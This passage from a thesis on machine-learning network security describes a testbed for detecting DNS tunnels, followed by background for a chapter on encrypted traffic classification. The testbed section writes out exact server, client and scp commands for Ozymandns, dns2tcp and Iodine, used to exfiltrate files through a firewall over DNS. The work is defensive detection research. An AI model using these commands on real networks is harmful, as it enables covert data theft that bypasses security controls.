suitable DNS tunnelling software. We chose three DNS tunnelling tools reviewed
by Merlo et al. [137].
Figure 5.4: DNS tunnel for transferring files over scp bypassing firewall
Our testbed consists of an internal network using private IP addresses, hosts
on the internet, and a network address translation (NAT) gateway router sepa-
rating them (see Figure 5.4). A firewall is configured on the gateway to block
all incoming unsolicited traffic, and also block all outgoing traffic except port 53
(DNS). DNS tunnel client software is installed on the internal network and DNS
tunnel server software is installed on an external Amazon EC2 host. We setup
network traffic capture on the internal network and then use the DNS tunnel
to covertly copy files from the internal network to the external host, bypassing
the security measures of the gateway router. We also temporarily opened the
firewall and browsed websites from the internal host to generate normal back-
ground DNS traffic. To mimic the setup of secure organisations, all DNS clients
are configured to use the ISP recursive DNS server, rather than allowing them
to direct DNS traffic to arbitrary external servers.
A requirement when setting up a new DNS tunnel server is to register a
domain (or subdomain) so it becomes part of the DNS hierarchy and can be found
using recursive DNS lookups. For our experiment we registered a subdomain of
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mooo.com using service freedns.afraid.org. We added a DNS ’A’ record to
direct traffic for our registered subdomain to our fake DNS server (the tunnel
server) on an external host. The firewall on the external host was configured to
allow DNS port 53 traffic.
The first tunnel, Ozymandns2, is a TCP-over-DNS tunnel tool implemented in
Perl scripts. We installed it on hosts at each end of the tunnel, using the patch
available on the download page. The Ozymandns server was run on the external
host with command: sudo ./nomde.pl -i 0.0.0.0 mysubdomain.mooo.com
which starts a fake DNS server to respond to DNS requests for that subdomain.
The client was run on the internal host during data exfiltration. The com-
mand to transfer file1 to the external host over the DNS tunnel is: scp -C -o
ProxyCommand="/usr/local/bin/droute.pl sshdns.mysubdomain.mooo.com"
file1 user@localhost:. Files up to 1.8MB were transferred, with the largest
file taking 1 minute and 54 seconds to complete.
The second tunnel, Dns2tcp, is a TCP-over-DNS tunnel tool implemented in
C. The server was run on the external host with command dns2tcpd -F -d 5 -f
/etc/dns2tcpd.conf and the client was run on the internal host with command
dns2tcpc -z mysubdomain.mooo.com -d 1 -k dns2tcp -l 2321 -r ssh.
This opens port 2321 on the internal host and redirects traffic from there to
the ssh port on the external host using the DNS tunnel. Files were exfiltrated
using command: scp -C -P 2321 file1 user@localhost:.
The third tunnel was an IP-over-DNS tunnel tool called Iodine. We installed
it from the Linux repositories and ran the server on the external host using
command:
iodined -c -f -D -P iodinetunnel 10.0.0.1 mysubdomain.mooo.com.
This creates a virtual interface on the Amazon host which the client can
connect to. The client is run with command sudo iodine -P iodinetunnel
mysubdomain.mooo.com and files copied over the tunnel to address 10.0.0.1 using
command scp -C file1 user@10.0.0.1:.
Each of the three tunnels was executed in turn, with all network traffic cap-
tured with tcpdump on the internal host to create “tunnel” datasets. Since our
aim is to differentiate DNS tunnels from normal DNS traffic, we also generated
and captured normal DNS traffic. To do this, we downloaded the Australian
list of Alexa top 500 websites and visited each of those sites while capturing the
2http://dankaminsky.com/2004/07/29/51/
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DNS traffic. Initially wget was used to retrieve the websites and links, however
the resultant DNS traffic was not realistic since wget does not execute javascript
and hence does not load many of the external resources such as images used by
websites. Hence we used a python module called webbrowser which uses the
default web browser to load a given site. This method was found to produce
realistic traffic including normal DNS traffic.
5.4.2 Classifier Training and Testing
Before applying automated feature engineering, we combined the normal and
tunnel datasets by interleaving their flows. This ensures all statistical features
are calculated when both normal and tunnel traffic is present simultaneously.
Our hypothesis is that a supervised machine learning classifier can learn to
differentiate normal DNS traffic from DNS tunnels when provided a labelled
dataset with a large set of candidate features produced by automated feature
engineering. To test the hypothesis we built a classifier for each DNS tunnel
implementation and tested its accuracy on a holdout test dataset, i.e. three
separate classifiers were built.
The classifiers use the supervised machine learning algorithm “C4.5 decision
trees” (see Section 5.2.2). Initially we used the SVM algorithm as used in HED.
However, we found it hard to explain how the models managed to detect DNS
tunnels. Hence we changed to decision trees, as their models are relatively easy
to interpret. To train the classifier, a training dataset is created using half of
the normal DNS traffic (traffic from the first 250 Alexa domains) combined with
DNS traffic when exfiltrating a small 1.9KB file. Then to test the classifier, we
also construct a separate holdout test dataset. It is created from the other half
of the normal DNS traffic (traffic from the last 250 Alexa domains) combined
with DNS traffic from exfiltrating a larger 1.8MB file.
Ten-fold cross validation was performed in Weka on the training and cross
validation (CV) dataset. The best model from training and CV was then chosen
for the classifier.
5.5 Results
The classifiers from the previous section were applied to the test dataset. The
test results in Table 5.2 show the classifiers could reliably identify the types of
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DNS tunnels seen during training.
Name FPR ACC Fs-
core
Normal
Instances
Tunnel
Instances
OzymanDNS CV 0.03% 99.97% 0.992 6032 128
OzymanDNS
Test
0.03% 99.97% 0.998 6116 642
dns2tcp CV 0.00% 100.0% 1.0 6032 95
dns2tcp Test 0.00% 99.93% 0.9995 6116 20948
Iodine CV 0.07% 99.93% 0.967 6032 60
Iodine Test 0.14% 99.82% 0.998 6116 9932
Table 5.2: DNS tunnels and detection rates. Each tunnel implementation is
trained, cross validated and tested separately. The number of tunnel instances
(corresponding to the number of DNS transactions) is different for each tunnel
due to their different mode of operation.
Automated feature engineering generated 638 features from the DNS data.
All features were used as input when building a classifier model. We observed
that each model required only between one and three features to differentiate
DNS tunnels from normal DNS traffic. The remaining features were redundant
for our models.
For the first tunnel, OzymansDNS, the classification result depended only on
the value of unigram 46 in the DNS request question name (i.e. the byte frequency
of the “.” character). If it is greater than five, then the classification result is
a tunnel. Otherwise it is a normal DNS request. The simple tree achieves an
F-score of 0.992 on our test data. The tree is:
query_unigram_46 <= 5: 0 (6030.0)
query_unigram_46 > 5: 1 (130.0/2.0)
Manual analysis revealed the “.” character is used by OzymanDNS as a sep-
arator, e.g. “0-11195.id-40205.down.sshdns.mysubdomain.mooo.com”. “Down”
indicates the direction of the transfer, and “id-40205” helps with ordering data.
Both of these values are separated by “.” resulting in a higher frequency of that
character compared to normal DNS traffic which uses it to indicate subdomain
levels. Normal DNS traffic usually has only a few subdomain levels, and when
additional data is sent, separator characters such as “-” are chosen instead, e.g.
2-01-2c3e-0010.cdx.cedexis.net. Hence this rule is a reasonable discriminator for
this tunnel implementation.
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For the second tunnel, dns2tcp, machine learning chose the main discrimi-
nator as the byte frequency of the ’A’ character (unigram 65) in the DNS answer
field. The tree is:
answers_unigram_65 <= 0
| av_query_type_per_source_destination <= 10: 0 (6015.0)
| av_query_type_per_source_destination > 10
| | reply_code <= 0: 0 (17.0)
| | reply_code > 0: 1 (8.0)
answers_unigram_65 > 0: 1 (87.0)
The simple decision tree achieves an Fscore of 1.0 on our CV dataset. Manual
analysis of the tunnel traffic revealed each DNS answer starts with ’A’, and the
same character is also used as a data delimiter in the answer. However, our
normal dataset has all DNS answers beginning with lowercase. Hence this is an
effective discriminator for this tunnel implementation. It should be noted how-
ever that the DNS RFC specifies that DNS question names are case insensitive.
Some DNS resolvers set the case of letters in the question name randomly as a
security measure called “0x20 bit encoding” for spoofing resistance as explained
in Section 5.2.1. In that situation, “A” may have less discriminatory power.
For Iodine the root node in the decision tree is whether the average entropy
of the question name (per source IP and destination query domain pair context)
is greater than a threshold. Higher entropy indicates a tunnel. Data sent over
the tunnel in our tests is encrypted SSH traffic which is then encoded to match
the allowed character set in DNS traffic. The data has high entropy due to the
encryption. Most normal DNS queries would be expected to be English-like, and
hence have lower entropy. The tree is:
av_query_entropy_per_source_destination <= 4.918149: 0 (6032.0/1.0)
av_query_entropy_per_source_destination > 4.918149: 1 (60.0/1.0)
Each tunnel was therefore detected using different features. After generating
a large set of candidate features from network traffic we let ML choose which
of those features are most discriminative. This data driven approach appears
useful to find discriminators, without the need for extensive manual analysis of
the traffic.
The classifier models produced with our approach can detect the three tunnels
with high accuracy as shown in Table 5.2. However, a caveat is that real-world
results may not match experimental results for reasons including:
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1. Different tunnel behaviour: each of the tunnels has additional configuration
options which were not exercised in our tests. The tunnels may not be
detectable when configured differently.
2. Different tunnel strings: since the source code for these tunnels is openly
available, a user could recompile the tunnel with minor changes which affect
our detection capability, e.g. changing separator characters.
The classifiers are therefore fragile to changes in the tunnel implementation.
Additionally, a single classifier could be built to detect all three tunnels in these
experiments, but it would be unlikely to detect a fourth tunnel implementation.
Ideally, the classifier would find a behaviour across many DNS transactions and
common to all the DNS tunnels which is not also exhibited by normal DNS traffic.
However, our method for training and testing the classifier is done per-flow. This
favours finding a way to discriminate each flow, rather than discriminating a
tunnel over a time period spanning many flows. Therefore, to identify long-term
tunnelling behaviour, further work is required to suitably aggregate flows and
present each aggregation as a training instance.
5.6 Comparison to Alternative Framework
We aim to compare the effectiveness of our chosen feature construction and
feature selection to alternative methods when applied to DNS tunnel detection.
We take the same approach as in Section 4.7.2 for HTTP tunnel detection.
We already have results for our automated feature engineering framework,
i.e. our DNS tunnel detection results. Hence, for this comparison experiment
we require DNS tunnel detection accuracy for an alternative framework. The
alternative framework is Xu’s adaptive intrusion detection framework [190].
To perform our experiment we built a classifier as per Xu’s framework, i.e.
KDD99 feature construction, PCA feature extraction, and an SVM classifier.
We ran KDD99 feature construction on our testbed traffic to produce train-
ing and test datasets containing 41 features. PCA was then applied to reduce
the number of features, with parameters chosen to retain enough principal com-
ponents to account for 99.9% of the variance. A multi-class SVM classifier was
chosen with a radial base function (RBF) kernel and parameters gamma = 1.0
and cost = 1.0. The classifier was then trained and tested from the relevant
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datasets. The process therefore followed Xu’s adaptive intrusion detection
framework. DNS tunnel classifier fscores are compared in Table 5.3.
Adaptive Intrusion
Detection
Automated Feature
Engineering
Dataset Fscore Fscore
OzymanDNS CV 0.984 0.992
OzymanDNS
Test
0.653 0.998
dns2tcp CV 0.990 1.00
dns2tcp Test 0.786 0.9995
Iodine CV 0.998 0.967
Iodine Test 0.985 0.998
Table 5.3: DNS tunnel detection results for alternative framework compared to
our automated feature engineering framework.
All DNS tunnel detection test scores in Tables 5.3 are higher for our auto-
mated feature engineering framework compared to using the adaptive intrusion
detection framework. The results demonstrate the effectiveness of our frame-
work.
We then aimed to explain which part(s) of our feature engineering framework
were responsible for the higher detection scores. However, interpretation of the
adaptive intrusion detection framework results was difficult. One difficulty is that
PCA generates a smaller set of transformed features, each of which is a linear
combination of some of the original features. These are difficult to interpret.
Secondly, an SVM model is also difficult to interpret. To overcome these issues
we built a simple decision tree classifier from each of the input datasets containing
KDD99-style features.
For the OzymanDNS tunnel, the decision tree used only features src bytes and
dst bytes. These features correspond to the size of the DNS request and response
respectively. All short DNS requests were labelled “normal” by the decision
tree, while most longer DNS requests were labelled “tunnel”. Detecting this
DNS tunnel by request length seems reasonable, since the tunnel is configured
in default mode and uses the maximum DNS query request string length (253
characters) when required. In contrast, normal DNS request query strings were
rarely more than 80 characters in length, even for content delivery networks
such as Akamai. The Iodine DNS tunnel produced a trivial decision tree: a
single node using feature src bytes. Again, DNS tunnels were identified as large
requests, and normal DNS as smaller requests. Dns2tcp produced a decision
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tree of size 21, with all non-leaf nodes using either src bytes or dst bytes for the
splitting criterion.
The simple decision trees show that the only features found to be discrim-
inative for DNS tunnelling in the KDD99 features are src bytes and dst bytes.
Detection accuracy is therefore limited, because while the DNS tunnels produced
mainly large requests, they also produced some smaller requests. The smaller
requests were likely control messages when there was no data to transmit. A de-
cision tree using only sizes of DNS requests or responses would find it difficult to
accurately distinguish these smaller DNS tunnel messages from normal DNS traf-
fic. However, for practical purposes, not every DNS tunnel request would need
to be detected, as long as at least one detection occurs per data exfiltration.
The results also show that cross-validation fscores are much higher than the
test fscores in this experiment. We interpret this as model overfitting due to a
lack of discriminating features for DNS tunnels in the KDD99 features.
It may seem unfair comparing our feature engineering to Xu’s framework
which relies on KDD99 features for feature construction. However, that is the
point. Unlike other static problems such as object recognition, network secu-
rity constantly changes. Network security changes as new operating systems,
protocols, services and attacks are developed. The KDD99 feature set was state-
of-the-art at the time, but the detection of current network threats requires an
updated set of features. Hence our feature engineering framework aims to supply
those updated features. The framework will require updating to produce more
discriminative features as network traffic continues to evolve.
In our tests, two of the DNS tunnelling programs use the same source UDP
port for every DNS request while the tunnel is operational. Conversely, normal
DNS clients use a different ephemeral source port for each DNS request. Hence
we expected this to be a discriminating difference between normal and tunnel
traffic. The KDD99 feature set includes the dst host same src port rate fea-
ture. This counts the percentage of DNS requests in the past 100 connections to
the current destination host which have the same source port as the current con-
nection. However, in our experiment, all DNS requests have the same source and
destination hosts (same IP addresses). Hence normal and tunnel DNS requests
are mixed together in the calculation of dst host same src port rate, result-
ing in a consistently low value. Hence, this feature fails to assist detection in our
experiments. However, a small modification could make this feature useful. The
158 Chapter 5. DNS Tunnel Detection
modification would be to use the DNS query string as a substitute for the destina-
tion host. We would then find that all destinations ending in “tadp.mooo.com”
would have the same UDP source port, thereby discriminating two DNS tun-
nel implementations from normal DNS traffic. The usefulness of this modified
feature reinforces our understanding that discriminative features are critical to
detection performance. It provides us with further reason to concentrate on the
feature construction and selection stages of ML applications.
5.7 Discussion
To perform DNS tunnel detection, we first used bro to parse DNS network traffic
and extract features such as the DNS request and response fields. Automated
feature engineering was then applied to generate additional length, entropy and
unigram features from each base string feature. From this candidate feature set,
the decision tree classifier found particular unigrams and entropy thresholds to
be the best discriminators. The most discriminative feature depended on the
particular DNS tunnel implementation. The classifiers were able to discriminate
normal DNS traffic from tunnel DNS traffic with high accuracy on our datasets.
The work also successfully showed that automated feature engineering can be
applied to a detection problem other than HED.
However, further work is required to build a generalised DNS tunnel detector.
The current detector automatically chose features which are specific to individ-
ual tunnel implementations, and hence any modifications to the tunnel software
is likely to result in DNS tunnel traffic evading the detector. Hence we will
investigate ways to ensure the classifier favours behavioural features (e.g MCD
features), rather than features visible in individual DNS transactions. This will
likely require aggregating flows and presenting each aggregation as a single train-
ing instance. We will also investigate n-gram distributions as used by Born and
Gustafson [16] to score DNS transactions. The distributions are an alternative
to the individual unigram features in our work.
5.8 Conclusion
In this chapter we discussed DNS tunnels and how they can be used to covertly
exfiltrate information from a network. We ran several DNS tunnels in a testbed
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connected to the internet and captured their traffic, as well as a sample of normal
DNS traffic. Using the captured network traffic for our datasets, we were able to
build a classifier named the DNS exfiltration detector. The classifier used network
traffic features constructed using automated features engineering. It successfully
learnt to discriminate normal DNS traffic from tunnel DNS traffic. We studied
the decision trees to find which features the classifier used, and explained why
those features were relevant to each DNS tunnel implementation.
The work showed that automated feature engineering could be easily adapted
to work with DNS traffic. It provides evidence that our automated feature en-
gineering framework can be successfully applied to more than one problem. We
also compared our automated feature engineering framework to an alternative
framework, by building detectors with each framework and then comparing de-
tector accuracy. The results showed detectors built using our framework had
higher detection accuracy in all cases.
Since encrypted network traffic is becoming more prevalent, in the next chap-
ter we investigate what features can be constructed from it, and whether auto-
mated feature engineering can still be applied.
160 Chapter 5. DNS Tunnel Detection
Chapter 6
Traffic Classification
In previous chapters we assumed network security applications had access to the
content of network traffic. However, this assumption is broken for encrypted
traffic. Hence we now investigate options for analysing encrypted network traf-
fic. The first option discussed is decrypting the traffic to allow standard network
security tools to be applied. We argue that decryption techniques are not al-
ways possible, and instead we must sometimes rely on traffic analysis techniques
which analyse metadata only. Hence, this chapter concentrates on what traffic
metadata information is available. We apply our feature engineering framework
to generate features and to select those most relevant to the problem of traffic
classification. Lastly, we perform experiments to test the effectiveness of the
selected features.
6.1 Introduction
A decade ago it was common practice to only encrypt web traffic for sensitive
operations such as authentication and financial transactions. Further encryption
was considered an unnecessary processing expense. The situation has changed
significantly since then. Dell Security’s Annual Threat Report for 20161 states
that 64.6% of global web connections were encrypted during the last quarter of
2015, with the upwards trend expected to continue. The move towards encryp-
1Whitepaper https://www.sonicwall.com/whitepaper/2016-dell-security-annual-threat-
report8107907
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tion has been driven by a number of factors including both user confidentiality
and security. For example, common open WiFi hotspots enable an attacker to
sniff packets of all users connected to the hotspot. Therefore, if traffic is not
encrypted, the attacker can view users’ private data. They can also compro-
mise users’ security for example by hijacking web sessions using a tool such as
Firesheep2. These problems are negated when encryption is used. Hence, to
protect their users, large web providers such as Google, Twitter and Facebook
have moved to encrypt traffic by default.
Web encryption is implemented using a cryptographic protocol known as
transport layer security (TLS)[54] or its older equivalent secure sockets layer
(SSL). We use the common term SSL to refer to both protocols. SSL uses public
key cryptography for authentication. The server is normally authenticated, so the
user (client) knows they are communicating with a trusted site. SSL also includes
symmetric encryption to ensure confidentiality of data transferred between the
client and server. When HTTP traffic uses SSL, it is known as secure HTTP, or
HTTPS.
While encryption is intended to protect users, attackers can also take advan-
tage of it to hide their activity. When connections are encrypted end-to-end,
network security tools are unable to inspect the content of the traffic for ma-
licious activity. For example, the exposure of up to 900 million Yahoo users
to the Angler exploit kit was traced back to an advertisement on the Yahoo
site which, when viewed, downloaded malicious code from an infected site over
HTTPS. Since the malicious code was hidden in a HTTPS session, many network
tools could not analyse it. Similarly, other types of malicious traffic such as data
exfiltration or command and control can be hidden within HTTPS.
To overcome this threat of attackers hiding in HTTPS, network security so-
lutions have been developed called “SSL intercept appliances”. These appliances
access and analyse the decrypted content of SSL connections using a “man-in-
the-middle” technique. Man-in-the-middle is achieved by being located between
the client and the server. When a client requests an SSL connection to a server,
the intercept appliance instead sets up one SSL connection between the client and
itself, and a second SSL connection from itself to the server. The intercept appli-
ance therefore sits “in-the-middle” of the two SSL connections and has access to
the unencrypted traffic. When the appliances are deployed at the perimeter of
2http://codebutler.com/firesheep
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organisations, they can intercept SSL connections between all internal users and
servers on the Internet. Using the approach, SSL sessions are only decrypted at
one point in the network, balancing the need to protect users’ data with the need
to inspect traffic for malicious activity. Hence organisations avoid being blind to
encrypted traffic. The unencrypted traffic can be processed by normal network
appliances such as a NIDS or a web filter.
However, there are disadvantages to SSL interception. Firstly it raises pri-
vacy concerns, requiring organisations to have policies allowing them to decrypt
network traffic of their employees. Secondly, SSL interception is costly because it
requires significant processing power. The appliance must decrypt and encrypt
the traffic for many users in real-time with low latency. If the hardware is not
scaled appropriately, the appliance can become a bottleneck in the network.
Given that many organisations do not use SSL interception for cost or pol-
icy reasons, we aim to investigate alternative techniques for encrypted traffic
analysis. Can some security threats such as protocol tunnels be detected with-
out requiring traffic decryption? Traffic analysis techniques in the literature use
metadata features (e.g. size and timing of packets) to make inferences about the
traffic. We take the same approach in this chapter, and seek to use as many
metadata features as are available. The main part of our work is an extended
study of what traffic metadata features are available from encrypted traffic. The
study makes use of automated feature engineering from Section 3.2 to generate
many of the features. We also apply the outcomes of the study to the well-known
network security problem named traffic classification. Traffic classification was
chosen as the example problem because recent classifiers rely on traffic metadata
alone, and hence can be used equally with encrypted and non-encrypted traffic.
We describe which features from the study are found to be most discriminative
for traffic classification, and to what extent they improve accuracy.
6.1.1 Aim and Contributions
Our main aim in this chapter is to construct additional discriminative features
from traffic metadata suitable for traffic classifiers. While previous studies have
shown the usefulness of particular features such as individual packet sizes and
inter-arrival times, we perform an extended study of the traffic metadata feature
space to find those most relevant. Other researchers anticipate more relevant
features will be found [72]. In our search we create a large set of candidate
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features and then use feature selection to determine the most discriminative
subset. Our feature engineering framework from Chapter 3 is used in this process.
We then train and test a classifier on the selected features, and measure any
improvement in traffic classification accuracy.
The two contributions are:
1. We report the results from an extended study of traffic metadata features.
The results list which features were found to be most discriminative for
traffic classification as well as their effect on classifier accuracy. The study
uses tools yaf [96] and crlpay [104] to generate an extended set of base
features, in addition to standard NetFlow metadata. We then apply the au-
tomated feature engineering library from Chapter 3 to generate additional
traffic metadata features. The most discriminative features are identified
using guided regularised random forest feature selection. We then build
traffic classifiers from the selected features and test their effectiveness on
three datasets.
2. We propose a strategy to reduce overfitting by ensuring training, cross
validation and test data relates to network traffic from independent sets
of source IP addresses. This ensures the cross validation and test steps
are performed on traffic from source IP addresses previously unseen in
the training data. The results should then provide a realistic measure of
traffic classifier accuracy on a network with changing hosts and services.
IP address fields are filtered from the dataset prior to ML as per standard
practice.
The remainder of the chapter is structured as follows: Sections 6.2 and 6.3
discuss background information and related work; Section 6.4 describes how an
extended set of candidate features for traffic classification is generated; Section
6.5 details our experiments on three datasets; Section 6.7 discusses the experi-
mental results including the most discriminative features; and finally Section 6.8
summarises the outcomes of the work.
6.2 Background
In this section we first list the different traffic classification approaches. After
choosing a statistical approach, we then provide background material on tools
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which can supply metadata to statistical traffic classifiers.
6.2.1 Traffic Classification Approaches
Traffic classification is an automated process which aims to label network traffic
as belonging to a certain class. It is used by internet service providers and other
network operators to assist with network management tasks, e.g. for quality of
service (QoS) [165]. Traffic classes for QoS include: time-sensitive, best effort,
and undesirable. Traffic classified as time-sensitive may then be prioritised over
other traffic, e.g. streaming video prioritised over a file download.
Alternative traffic classes may be defined, such as the type of application
generating the traffic (e.g. mail or web). These classes are used in network secu-
rity to detect network attack traffic, tunnelled applications bypassing perimeter
security, or violations of an organisation’s security policy such as gaming or P2P
applications. We use these application-type classes in this chapter.
Initial traffic classifiers simply used port numbers to classify each flow. TCP
and UDP port numbers remain a useful discriminator for some applications which
observe the IANA port allocations3. However, they are ineffective for applications
that camouflage themselves by using other well-known application ports, and for
peer-to-peer (P2P) applications that use arbitrary unregistered ports. Since P2P
is in widespread use, port-based approaches are now inaccurate. Instead, deep
packet inspection (DPI) has become standard for traffic classification [23]. DPI
applies signatures to payload data to identify the application. Since DPI parses
protocols and analyses packet payloads, it can achieve high precision. However, it
has several limitations. Firstly, DPI signatures cannot be applied to encrypted
traffic payloads, resulting in low recall on some networks. Secondly, DPI is
computationally intensive so is difficult to scale to high-bandwidth links. Thirdly,
it raises legal and privacy concerns due to its analysis of content traceable to
users.
As an alternative to DPI, statistical methods have been proposed. These
methods build models of each traffic type based on flow metadata such as packet
sizes and inter-arrival times [165, 104, 196]. By avoiding payload analysis, the sta-
tistical methods are less affected by encryption, and by using multiple metadata
features, they are resilient to the use of dynamic ports. Flow-based statistical
3http://www.iana.org/assignments/service-names-port-numbers/service-names-port-
numbers.xhtml viewed 24-05-2016
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methods include supervised machine learning [187], probability density estimates
[40] and graph analysis [101].
Flow metadata used by these statistical traffic classifiers is extracted from
packet headers. Much of the metadata used in the existing literature can be
produced by NetFlow or IP Flow Information eXport (IPFIX) exporters [34, 35].
We now describe those flow protocols and discuss their flexibility to output a large
set of custom features (which can be used for traffic classification) in addition to
their standard 6-tuple output per flow.
6.2.2 NetFlow and IPFIX
NetFlow and IPFIX are common flow export protocols [34, 35]. The protocols
define what summarised information is calculated from network traffic (such as
packet counts and bytes counts), how to format the extracted information into
flow records, and how records are sent from a flow exporter to a collector. They
ensure interoperability between different devices generating flow records, and
between flow collectors and flow analysers.
Cisco developed the first widely used flow export protocol, NetFlow v5, mak-
ing its data format publicly available around 2002. It only supported IPv4 traf-
fic, so a successor protocol called NetFlow v9 was introduced with a number
of improvements including templates for flexible data formats, IPv6 and VLAN
support. In 2004, the Internet Engineering Task Force (IETF) chose to develop
a standardized (non-commercial) flow export protocol named IPFIX, based on
NetFlow v9.
A flow is a sequence of related packets sent over a network from one IP address
to another. To determine which flow a packet belongs to, it is matched by flow
key (a set of fields with common values). The IPFIX standard allows for flexible
flow keys, however an IPFIX reference implementation called yaf [96] uses six
fixed values for its key: source and destination IP addresses and port numbers,
IP protocol and VLAN ID. Other flow exporters use the 5-tuple (without the
VLAN ID) and the 7-tuple (with an additional IP ToS field). Flow records are
output when the flow ends or expires, but can also be output periodically for
long-lived flows. As a device collects more packets belonging to a flow, it updates
counters such as the number of packets and octets transferred within the flow.
These counters are exported with the flow record in fields called Information
Elements (IEs). Table 6.1 shows the set of IEs commonly found in most IPFIX
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records. While common IEs are populated from network and transport-layer
packet headers, IEs can be populated from other layers of the stack including
the application layer. For example, IE 290 “encryptedTechnology” analyses the
TCP payload to determine whether encryption is being used. Other IEs store
the MAC addresses from the data-link layer. The complete list of standard IEs
is maintained by IANA in their IPFIX Information Element Registry [93].
IE
ID
IE Name Data Type IE Description
152 flowStartMilliseconds dateTimeMillisec-
onds
Timestamp of first packet in flow
153 flowEndMilliseconds dateTimeMillisec-
onds
Timestamp last packet in flow
8 sourceIPv4Address ipv4Address IPv4 source address in packet header
12 destination-
IPv4Address
ipv4Address IPv4 destination address in packet
header
7 sourceTransportPort unsigned16 Source port number in transport
header
11 destinationTrans-
portPort
unsigned16 Destination port number in
transport header
4 protocolIdentifier unsigned8 IP protocol number, e.g. 6 for TCP
2 packetDeltaCount unsigned64 Total number of packets in the flow
1 octetDeltaCount unsigned64 total number of octets in the flow
Table 6.1: Common IPFIX Information Elements (IEs)
IPFIX allows each flow exporter in a network to produce a different set of
IEs. To enable collectors to interpret the varied flow records, each exporter
also transmits a template which describes the set of IEs included in the record.
The use of templates provides IPFIX with great flexibility. Using configuration
changes alone, different sets of IEs can be transmitted as the need arises. This
avoids the need to patch software each time the set of collected fields is changed;
an important saving on critical networking infrastructure. IPFIX functionality
can be extended by adding new IEs, each with a unique ID number. IEs of
type basicList, subTemplateList and subTemplateMultiList support structured
information in a flow record. This allows, for example, a list of the same IE to be
encoded within an individual field. SubTemplateMultiLists are relevant to our
work because yaf uses them to store statistical flow features.
6.2.3 NetFlow Uses
NetFlow is captured on many networks to provide information for capacity plan-
ning, network security, and network management. Three NetFlow analysis func-
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tions for these purposes are described in [90]. The first function is flow analysis
and reporting which includes identifying hosts involved in many flows (known
as heavy hitters) and alerting on anomalous traffic statistics. A second analysis
function is threat detection. Methods include: matching flows to known mali-
cious hosts listed in intelligence feeds; forensically analysing which IP addresses
have communicated with an infected host; or detecting large-scale malicious be-
haviour such as scans, DDoS, worm propagation and botnet activity. The third
function is network performance monitoring, e.g. comparing metrics to a service
level agreement. Performance metrics can include uptime, bandwidth, round
trip time and application latency. A number of commercial flow data analysis
platforms support these functions45. NetFlow for these platforms can be gener-
ated by packet forwarding devices such as routers, switches and firewalls, or by
readily-available software programs on commodity hardware.
NetFlow has been used in a number of traffic classification papers [101, 28].
We also use NetFlow, generating an extended set of fields to find additional
relevant features for traffic classification.
6.2.4 Ensemble Learning
Combining the output of multiple classifiers (an ensemble) can result in improved
accuracy over a single classifier [55]. The ensemble is often built from multiple
classifiers of the same type, with each constructed from a different view of the
training dataset. Common ensemble methods are bagging and boosting, both of
which can be used with any classification algorithm. Another method is stacking
which builds an ensemble of classifiers, each usually of a different type. One dis-
advantage of an ensemble is the creation of multiple models, making the ensemble
harder to interpret.
Bagging uses sampling with replacement of the training data to create mul-
tiple, equal-sized training subsets [18]. A model is trained with each training
subset. During classification, the test instance is applied to all models, with
the outputs combined by majority vote to achieve a final classification result.
Bagging is particularly suited to unstable learning algorithms such as decision
trees in which slight changes to the training set can result in quite different trees.
Bagging produces a range of trees. The average result across all trees often out-
4Lancope Stealthwatch https://www.lancope.com/products-services-lancope
5Flowmon https://www.flowmon.com/en
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performs a single tree. Additionally, any errors in the training data will only be
used by a small proportion of trees, making bagging more resilient to errors in
training data. When bagging decision trees, each tree is normally trained with-
out pruning, resulting in each tree having high variance. However, combining the
output of multiple trees has the positive effect of reducing the variance without
increasing bias.
Boosting is similar in concept [75]. Multiple models are produced, with the
final classification result again chosen using a voting mechanism. The aim is to
make a strong learner through the combination of many complementary weak
ones, thereby “boosting” learning. A major difference to bagging is that boosting
creates models iteratively on the whole training set. Instances classified incor-
rectly in one model are given more weight when training the next model. Hence
the new model tries to correct mistakes of previous models. The only require-
ment is for the classifier to support weighted training instances. At the start of
boosting, all training instances are given equal weight. Any instance correctly
classified by the first model is decreased in weight, and the remainder increased
in weight. The process is repeated with weights passing from one training set
to the next after being modified by a factor. For the AdaBoost algorithm, the
weight change for correctly classified instances on each iteration is the factor:
wi+1 = wi × e
1− e (6.1)
where e is the classifier error, wi is the current weight for an instance, and wi+1
is the weight on the next iteration. Hence, assuming the classifier error e < 0.5,
the weight will decrease for correctly classified instances. Incorrectly classified
instances do not have the factor applied, but are increased when all the weights
are renormalised to preserve the sum of weights on each iteration. Boosting stops
when the error e ≥ 0.5 or e = 0.
During classification, the output class of each model is weighted according
to the model’s training error, with the final classification result being the class
with the highest summed weight. While boosting can greatly improve classifier
accuracy, disadvantages include being sensitive to errors in the training data,
and prone to overfitting outliers in the training data.
Another method, called stacking, is usually used with an ensemble of different
classifiers (different learning algorithms). Stacking creates a meta-learner to learn
the accuracy of each of the underlying classifiers so it can combine their outputs
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in a more sophisticated way than voting.
Bagging, boosting and stacking are important approaches to improve classifier
accuracy. We describe bagging because it is necessary to understand it before
discussing the random forest algorithm used in our experiments.
6.2.5 Random Forests
Random forests are an ensemble of decision trees [19]. Trees are constructed on
subsets of the training data as per bagging, with the total number of trees being
a user-defined parameter and usually in the order of hundreds or thousands.
Additional randomness is introduced to the learner by only making a random
subset of features available at each decision tree node for the splitting criterion
(see Section 5.2.2). By default for classification, the number of features randomly
selected at each node is the square root of the total number of features. By
choosing random subsets of features, the effect is to prevent the same feature
being chosen for the splitting criterion in each tree. Hence the trees in a random
forest are less correlated than in standard bagging. The final classification result
is a majority vote of the outputs of all trees.
Random forests scale to very large training datasets containing many features.
Scalability is an inherited trait from decision trees. Random forests further
enhance scalability because they only process a subset of features at each node,
and also because each tree only trains on a subset of training data due to the
bagging approach. Since each tree in the forest is trained independently (unlike
boosting which is iterative), the learning process can be parallelized for better
performance. Other benefits inherited from decision trees include fast learning
times, and handling both numeric and categorical features. These advantages
make it a popular, state-of-the-art general-purpose machine learning algorithm.
The main disadvantage (as for all bagging techniques) is that it produces many
trees (models), making the classifier harder to interpret than a single tree.
6.2.6 Guided Regularised Random Forests
Feature selection can be performed with any tree-based model. As part of the
learning process, trees already choose which feature at each node provides the
most information gain. Hence, combining all chosen features in the tree gives a
set of “selected features”. We now examine how this approach is extended to
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regularised random forests (RRF) after first introducing the concept of regular-
isation.
Regularisation is used in machine learning as a tool to reduce model com-
plexity, with the aim of avoiding overfitting [159]. If no bounds are placed on a
model, the learning phase can very closely model the training set (including any
idiosyncrasies such as outliers or errors) to produce a model with zero error on
the training set. However, these complex models may then perform poorly when
evaluated on different data. Regularisation places limits on models by penalising
model complexity, with the aim of producing a model more likely to generalise to
